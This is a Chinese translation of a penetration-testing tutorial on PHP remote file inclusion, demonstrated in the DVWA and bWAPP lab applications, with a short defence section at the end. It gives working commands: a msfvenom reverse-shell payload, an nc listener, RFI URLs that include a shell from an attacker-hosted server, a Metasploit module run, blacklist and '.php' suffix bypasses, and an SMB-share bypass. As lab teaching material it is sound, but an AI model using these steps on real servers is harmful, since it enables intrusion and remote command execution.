“葵花宝典”——远程文件包含(RFI)

  • A+

0x00 引言

前一篇文章我们分享了关于文件包含的基本原理以及本地文件包含(LFI)漏洞的相关原理和利用方式,具体参考。本文我们将深入了解有关远程文件包含(RFI)的相关知识。

概要

  • RFI何方神圣
  • RFI出现的缘由
  • RFI利用方式
    • 基本的RFI
    • 借助Netcat(俗称瑞士军刀nc)反弹shell
    • 通过Metasploit进行RFI
    • 黑名单绕过
    • 空字节攻击
    • 借助SMB服务器的利用方式
  • 防御

0x01 RFI何方神圣

顾名思义,远程文件包含是文件包含漏洞的其中一种。这种漏洞在文件的URI位于其他服务器上并作为参数传递给PHP函数“include”,“include_once”,“require”,或“require_once”的情况下可能会出现。

远程文件包含漏洞是容易利用的。因此,相较而言,攻击者只需要将托管在远程Web应用程序上的恶意PHP脚本注入未经过滤的Web应用程序的URL中,就可能导致灾难性的结果,例如:

  1. 允许攻击者以[RCE]的身份在Web服务器上远程执行命令;
  2. 提供对服务器的完全访问权限;
  3. 污损网络的某些部分,甚至窃取机密信息;
  4. 实施跨站脚本(XSS)的客户端攻击。

01.png

因此,在以下情况下,远程文件包含漏洞被报告为“高危”,并且CVSS得分为“ 9.8”:

  1. CWE-98:对PHP程序中的Include/Require语句的文件名控制不当。
  2. CWE-20:不恰当的输入验证
  3. CWE-200:向未经授权的访问者公开敏感信息

0x02 RFI出现的缘由

与“本地文件包含”类似,远程文件包含漏洞也是由于对PHP服务端代码中输入参数的过滤或验证不当而产生。

例如下面的代码段,它使Web应用程序遭受RFI漏洞的影响,因为开发人员只能对“$file”变量进行Get方法传参,并且没有对输入进行任何验证。

1.png

但是只有当开发人员启用了一些不安全的PHP设置(“allow_url_include = On”和“allow_url_fopen = On”),此逻辑错误才满足RFI漏洞的要求,因此,开发人员的逻辑和不安全设置这两者结合起来,就可以打开RFI漏洞的大门。

2.png

0x03 基本的远程文件包含

到此为止,您应该对什么是远程文件包含以及其发生原因有了清晰的认识。因此,我们尝试更深入地研究和破坏一些Web应用程序,以实现反弹shell。

我们在浏览器中打开目标IP,并以admin:password登陆DVWA,此外,选择窗口左侧的“File Inclusion vulnerability”。并且为了方便演示,我们依然将安全级别设置为“low”。

:默认情况下,allow_url_include是禁用的。如果禁用allow_url_fopen,则allow_url_include也被禁用

您可以通过运行以下命令从php.ini中启用allow_url_include:
nano /etc/php/7.2/apache2/php.ini
allow_url_include = On
allow_url_include = Off

因此,现在我们将看到一个网页,该网页存在文件包含漏洞,因为它只是将include.php文件包含在其URL参数中,如下所示:
“page=include.php”

3.png

让我们尝试控制此URL参数,并通过以下DVWA应用程序访问google.com:

192.168.0.2/DVWA/vulnerabilities/fi/?page=https://www.google.com

4.png

Nice!上图表明此应用程序受到了RFI漏洞的攻击。

0x04 借助Netcat反弹shell

我们可以将这种基本的RFI利用转换为反弹shell,让我们看看如何做:

首先,我们用一句话生成payload:
msfvenom -p php/reverse_php lport=4444 lhost=192.168.0.5 > /root/Desktop/shell.php

05.png

然后让我们托管此目录,以便我们可以在URL参数中使用它。

python –m SimpleHTTPServer

在下图中,您可以看到Desktop文件夹已通过端口8000上的HTTP服务器托管。

06.png

现在,让我们在端口4444上启动Netcat侦听器

nc –lvp 4444
在netcat开始监听之前,我们将shell包含在易受攻击的URL参数中:
192.168.0.2/DVWA/vulnerabilities/fi/?page=http://192.168.0.5:8000/shell.php

07.png

单击转到按钮并返回查看我们的netcat侦听器,稍等片刻,我们就成功拿到了反弹shell。现在我们获取一些关键的身份信息。

08.png

0x05 通过Metasploit实现RFI

Netcat程序不是很长而且不够复杂,只是为了获得反弹shell。

因此,让我们做一些聪明的工作,打开每一个pentester最喜欢的工具之一,即“Metasploit”。

但是在利用任何漏洞之前,让我们捕获确认存在RFI的URL的HTTP头,即“page=https://www.google.com”,然后进一步复制登录的PHP会话ID以及所有安全信息。

9.png

接着就是完全控制Web应用程序服务器的时候了,只需执行以下命令,您就可以开始执行以下操作:

msf > use exploit/unix/webapp/php_include
set payload php/meterpreter/bind_tcp
set RHOST 192.168.0.2
set PATH /DVWA/vulnerabilities/fi/
set HEADERS " Cookie: security=low; PHPSESSID=4536da6h54ski6ftv09gdq35ik"
exploit

通过一些基本的执行,我们获得了meterpreter会话。

10.png

0x06 绕过黑名单

并非每次都能遇上开发人员没有进行任何验证即可设置代码,他们可能会设置一些黑名单,这些黑名单的常用元素为“http:”或“https:”,或者与它们类似的其他元素,以便保护他们的Web应用程序。

因此,要绕过这个黑名单,我们需要尝试开发人员可能忘记添加的所有不同组合,例如“HTTP:”或“hTTp:”。

我将安全级别提高到“medium”,并尝试了所有不同的组合。从下面的图片中您可以看到“HTTPS”对我有用,因此可以再次利用RFI漏洞。

11.png

0x07 空字节攻击

开发人员永远都不会忘记,在将必需变量的末尾添加“.php”扩展名到他们的代码中,然后再将其包括在内。也就是说,服务器将解释每个扩展名为“.php”的文件。

因此,如果我希望在URL参数中包含“tryme.txt”,则服务器会将其解释为“tryme.txt.php”。并返回错误消息。

12.png

那么,当开发人员采取这种措施后,我们该怎么办?

答案是进行零字节攻击,使用问号[?]字符,这将消除“.php”问题,迫使php服务器在解释后立即忽略所有内容。

192.168.0.3/bWAPP/rlfi.php?language=http://192.168.0.5:8000/tryme.txt?

13.png

0x08 借助SMB服务器利用RFI

如前所述,除非开发人员在php.ini文件中启用“allow_url_include”或“allow_url_fopen”,否则RFI漏洞将是不可能的。

但是,如果开发人员未启用该功能,并且在不包含任何远程服务器中任何特定文件的情况下,以尽可能简单的方式运行其Web应用程序,该怎么办?它仍然会受到RFI的攻击吗?

答案是“是”,即使“allow_url_include”或“allow_url_fopen”设置为“off”,也可以通过SMB服务器利用RFI漏洞。

当PHP中的“allow_url_include”设置为“off”时,它不会加载任何远程HTTP或FTP URL来防止远程文件包含攻击,但是此“allow_url_include”却不会阻止加载SMB URL。

想知道如何抓住这一切?让我们在本节中对其进行利用。现在,我已经在Windows计算机上配置了易受攻击的bWAPP应用程序。

首先,我通过禁止C:\xampp\php\的“php.ini”文件中的“allow_url_include”和“allow_url_fopen”包装程序重新配置了PHP服务器。

14.png

现在,为了在我的Kali机器上激活SMB服务,我使用了impacket工具包,该工具包通过以下简单的方法设置所有内容:

python smbshare.py –smb2support sharepath /root/Desktop/Shells

当我们对Windows 10计算机执行攻击时,在这里我使用了“smb2support”,并将共享目录进一步设置为/root/ Desktop/Shells/。您可以从此处了解有关Impacket的更多信息。

在下图中,您可以看到我们的目录已通过SMB服务器成功共享,没有任何特定的凭据。

15.png

为了确保相同,让我们在任何Windows机器上的“运行对话框”中将其全部检查为

\\\\192.168.0.8\\sharepath\\

16.png

我们的SMB服务器运行正常,我们可以访问其共享文件。

因此,让我们回到我们的Kali机器上,检查PHP代码是否允许包含任何远程文件。从下图可以看到,当我尝试基本的RFI攻击时,allow_url_include = 0的错误消息为“https://wrapper is disabled”;因此,这证明PHP代码正在阻止从任何远程服务器包含的文件。

17.png

因此,现在该用我们的SMB共享链接绕过“allow_url_include”包装了,以破坏此网络应用程序:

192.168.0.3/bWAPP/rlfi.php?language=\\192.168.0.8\sharepath\shell.txt

从下图可以看到,我们的shell已成功包含在此易受攻击的Web应用程序中,并且向我们提供了其中的内容。

18.png

0x09 防御措施

  • 为了防止Web应用程序受到文件包含攻击,我们需要使用强输入验证。我们应该将输入参数限制为接受可接受文件的白名单,并拒绝所有严格不符合规范的其他输入。

始终力求最好地对用户提供的/受控的输入进行过滤。这些输入是:GET/POST参数

32.png

  • 在可用的最新版本的PHP服务器中开发或运行代码。 甚至配置PHP应用程序,使其不使用register_globals。

  • 在服务器端,通过禁止http URI的远程文件include来配置ini配置文件,这限制了从远程位置包含文件的能力,即通过使用以下命令更改配置文件:

```
nano /etc/php/7.2/apache2/php.ini

"allow_url_fopen = OFF"
"allow_url_include = OFF"
sudo service apache2 restart
```

19.png

==本文译自:https://www.hackingarticles.in/comprehensive-guide-on-remote-file-inclusion-rfi/
原作者:Chiragh Arora
致敬所有对本文创作有贡献的人==